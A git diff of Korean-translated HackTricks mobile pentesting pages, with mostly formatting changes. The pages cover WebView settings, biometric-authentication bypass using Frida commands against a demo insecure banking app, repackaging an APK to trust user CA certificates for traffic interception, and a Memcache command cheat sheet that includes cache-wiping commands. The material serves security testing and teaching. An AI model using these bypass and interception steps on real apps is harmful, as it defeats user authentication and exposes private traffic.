* **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
||||
* **WebChromeClient** acts more like the full Chrome browser experience.
|
||||
|
||||
A key point is that WebView browsers do **not share cookies** with the device's main browser.
|
||||
|
||||
For loading content, methods such as ````loadUrl````, ````loadData````, and ````loadDataWithBaseURL```` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the ````WebSettings```` class. For instance, disabling JavaScript with ````setJavaScriptEnabled(false)```` can prevent XSS attacks.
|
||||
For loading content, methods such as `loadUrl`, `loadData`, and `loadDataWithBaseURL` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the `WebSettings` class. For instance, disabling JavaScript with `setJavaScriptEnabled(false)` can prevent XSS attacks.
|
||||
|
||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with ````@JavascriptInterface```` for security from Android 4.2 onwards.
|
||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with `@JavascriptInterface` for security from Android 4.2 onwards.
|
||||
|
||||
Allowing content access (````setAllowContentAccess(true)````) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
||||
Allowing content access (`setAllowContentAccess(true)`) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
||||
|
||||
To control file access:
|
||||
- Disabling file access (````setAllowFileAccess(false)````) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
||||
|
||||
* Disabling file access (`setAllowFileAccess(false)`) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
|
||||
* **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
|
||||
* Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices.
|
||||
* **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices.
|
||||
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -372,9 +401,10 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -387,7 +417,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 안드로이드 작업 탈취
|
||||
# Android Task Hijacking
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -66,7 +66,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -79,7 +79,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
# 생체 인증 우회 (Android)
|
||||
|
||||
# Bypass Biometric Authentication (Android)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,14 +7,15 @@
|
|||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* \*\*[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **Method 1 - 암호 객체 사용 없이 우회하기**
|
||||
|
||||
여기서 주목해야 할 것은 인증 프로세스에서 중요한 *onAuthenticationSucceeded* 콜백입니다. WithSecure의 연구원들은 *onAuthenticationSucceeded(...)*에서 NULL *CryptoObject*를 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 해당 메서드가 호출될 때 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 Android 지문 컨텍스트에서 우회를 보여주는 간소화된 코드 스니펫입니다. 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다.
|
||||
여기서 주목해야 할 것은 인증 프로세스에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구원들은 \*onAuthenticationSucceeded(...)\*에서 NULL _CryptoObject_를 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 해당 메서드가 호출될 때 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 Android 지문 컨텍스트에서 우회를 보여주는 간소화된 코드 스니펫입니다. 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다.
|
||||
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
|
@ -24,19 +24,25 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
|||
}
|
||||
});
|
||||
```
|
||||
|
||||
Frida 스크립트를 실행하는 명령어:
|
||||
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
|
||||
```
|
||||
|
||||
## **Method 2 - 예외 처리 접근 방식**
|
||||
|
||||
다른 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)인 WithSecure의 스크립트는 보안이 취약한 암호 객체 사용 우회에 대해 다룹니다. 이 스크립트는 지문으로 인증되지 않은 *CryptoObject*를 사용하여 *onAuthenticationSucceeded*를 호출합니다. 애플리케이션이 다른 암호 객체를 사용하려고 하면 예외가 발생합니다. 이 스크립트는 *Cipher* 클래스에서 *javax.crypto.IllegalBlockSizeException*을 처리하고 *onAuthenticationSucceeded*를 호출하며, 애플리케이션이 사용하는 후속 객체가 새 키로 암호화되도록 준비합니다.
|
||||
다른 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)인 WithSecure의 스크립트는 보안이 취약한 암호 객체 사용 우회에 대해 다룹니다. 이 스크립트는 지문으로 인증되지 않은 _CryptoObject_를 사용하여 _onAuthenticationSucceeded_를 호출합니다. 애플리케이션이 다른 암호 객체를 사용하려고 하면 예외가 발생합니다. 이 스크립트는 _Cipher_ 클래스에서 _javax.crypto.IllegalBlockSizeException_을 처리하고 _onAuthenticationSucceeded_를 호출하며, 애플리케이션이 사용하는 후속 객체가 새 키로 암호화되도록 준비합니다.
|
||||
|
||||
Frida 스크립트를 실행하는 명령어:
|
||||
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
|
||||
지문 화면에 도달하고 `authenticate()`가 시작되면, Frida 콘솔에서 `bypass()`를 입력하여 우회를 활성화하세요:
|
||||
|
||||
```
|
||||
Spawning com.generic.insecurebankingfingerprint...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
|
||||
|
@ -44,6 +50,7 @@ Hooking BiometricPrompt.authenticate2()...
|
|||
Hooking FingerprintManager.authenticate()...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
|
||||
```
|
||||
|
||||
## **메소드 3 - Instrumentation Frameworks**
|
||||
|
||||
Xposed 또는 Frida와 같은 Instrumentation 프레임워크를 사용하여 런타임에서 애플리케이션 메소드에 훅을 걸 수 있습니다. 지문 인증에 대해서는 이러한 프레임워크를 사용하여 다음을 수행할 수 있습니다:
|
||||
|
@ -52,9 +59,11 @@ Xposed 또는 Frida와 같은 Instrumentation 프레임워크를 사용하여
|
|||
2. **SSL Pinning 우회**: 이를 통해 공격자는 클라이언트와 서버 간의 트래픽을 가로채고 수정하여 인증 프로세스를 변경하거나 민감한 데이터를 탈취할 수 있습니다.
|
||||
|
||||
Frida의 예시 명령어:
|
||||
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
|
||||
## **메소드 4 - 역공학 및 코드 수정**
|
||||
|
||||
`APKTool`, `dex2jar`, `JD-GUI`와 같은 역공학 도구를 사용하여 Android 애플리케이션을 디컴파일하고 소스 코드를 읽어들여 인증 메커니즘을 이해할 수 있습니다. 일반적으로 다음 단계를 포함합니다:
|
||||
|
@ -71,6 +80,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
|||
2. **사용자 정의 스크립트**: 스크립트를 작성하여 Android Debug Bridge (ADB) 또는 애플리케이션의 백엔드와 직접 상호작용하여 지문 인증을 시뮬레이션하거나 우회할 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
<details>
|
||||
|
@ -80,7 +90,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
|||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* \*\*[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Make APK Accept CA Certificate
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,11 +24,11 @@
|
|||
|
||||
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않기 때문에 일부 앱의 웹 트래픽을 검사하려면 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
||||
|
||||
# 자동
|
||||
## 자동
|
||||
|
||||
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)은 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하여 요청을 캡처하고 인증서 핀을 비활성화합니다(있는 경우).
|
||||
|
||||
# 수동
|
||||
## 수동
|
||||
|
||||
먼저 앱을 디컴파일합니다: `apktool d *file-name*.apk`
|
||||
|
||||
|
@ -44,7 +46,8 @@
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
이제 **res/xml** 폴더로 이동하여 다음 내용으로 network_security_config.xml이라는 파일을 생성/수정하세요:
|
||||
이제 **res/xml** 폴더로 이동하여 다음 내용으로 network\_security\_config.xml이라는 파일을 생성/수정하세요:
|
||||
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,6 +60,7 @@
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
|
||||
그런 다음 파일을 저장하고 모든 디렉토리에서 빠져나와 다음 명령을 사용하여 apk를 다시 빌드하십시오: `apktool b *폴더-이름/* -o *출력-파일.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
@ -65,20 +69,18 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
<img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt="" data-size="original">
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,6 @@
|
|||
# Memcache 명령어
|
||||
# Memcache Commands
|
||||
|
||||
## Memcache 명령어
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,12 +11,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 명령어 치트 시트
|
||||
### 명령어 치트 시트
|
||||
|
||||
**출처** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
|
@ -22,40 +24,43 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
안타깝게도 구문 설명은 실제로 명확하지 않으며, 기존 명령어를 나열하는 간단한 도움말 명령어가 훨씬 좋을 것입니다. 여기에는 [source](https://github.com/memcached/memcached)에서 찾을 수 있는 명령어 개요가 있습니다(2016년 8월 19일 기준):
|
||||
|
||||
| 명령어 | 설명 | 예시 |
|
||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | 값을 읽습니다. | `get mykey` |
|
||||
| set | 키를 무조건 설정합니다. | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용하십시오. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 새로운 키를 추가합니다. | `add newkey 0 60 5` |
|
||||
| replace | 기존 키를 덮어씁니다. | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터를 추가합니다. | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터를 앞에 추가합니다. | `prepend key 0 60 15` |
|
||||
| incr | 주어진 숫자만큼 숫자 키 값을 증가시킵니다. | `incr mykey 2` |
|
||||
| decr | 주어진 숫자만큼 숫자 키 값을 감소시킵니다. | `decr mykey 5` |
|
||||
| delete | 기존 키를 삭제합니다. | `delete mykey` |
|
||||
| flush\_all | 모든 항목을 즉시 무효화합니다. | `flush_all` |
|
||||
| flush\_all | n초 후에 모든 항목을 무효화합니다. | `flush_all 900` |
|
||||
| stats | 일반 통계를 출력합니다. | `stats` |
|
||||
| | 메모리 통계를 출력합니다. | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계를 출력합니다. | `stats malloc` |
|
||||
| | 항목에 대한 정보를 출력합니다. | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 통계 카운터를 재설정합니다. | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 (대부분의) 항목에 대한 메타데이터를 덤프합니다. | `lru_crawler metadump all` |
|
||||
| version | 서버 버전을 출력합니다. | `version` |
|
||||
| verbosity | 로그 레벨을 높입니다. | `verbosity` |
|
||||
| quit | 세션을 종료합니다. | `quit` |
|
||||
| 명령어 | 설명 | 예시 |
|
||||
| --------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| get | 값을 읽습니다. | `get mykey` |
|
||||
| set | 키를 무조건 설정합니다. | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용하십시오. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n"</code></p> |
|
||||
| add | 새로운 키를 추가합니다. | `add newkey 0 60 5` |
|
||||
| replace | 기존 키를 덮어씁니다. | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터를 추가합니다. | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터를 앞에 추가합니다. | `prepend key 0 60 15` |
|
||||
| incr | 주어진 숫자만큼 숫자 키 값을 증가시킵니다. | `incr mykey 2` |
|
||||
| decr | 주어진 숫자만큼 숫자 키 값을 감소시킵니다. | `decr mykey 5` |
|
||||
| delete | 기존 키를 삭제합니다. | `delete mykey` |
|
||||
| flush\_all | 모든 항목을 즉시 무효화합니다. | `flush_all` |
|
||||
| flush\_all | n초 후에 모든 항목을 무효화합니다. | `flush_all 900` |
|
||||
| stats | 일반 통계를 출력합니다. | `stats` |
|
||||
| | 메모리 통계를 출력합니다. | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계를 출력합니다. | `stats malloc` |
|
||||
| | 항목에 대한 정보를 출력합니다. | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 통계 카운터를 재설정합니다. | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 (대부분의) 항목에 대한 메타데이터를 덤프합니다. | `lru_crawler metadump all` |
|
||||
| version | 서버 버전을 출력합니다. | `version` |
|
||||
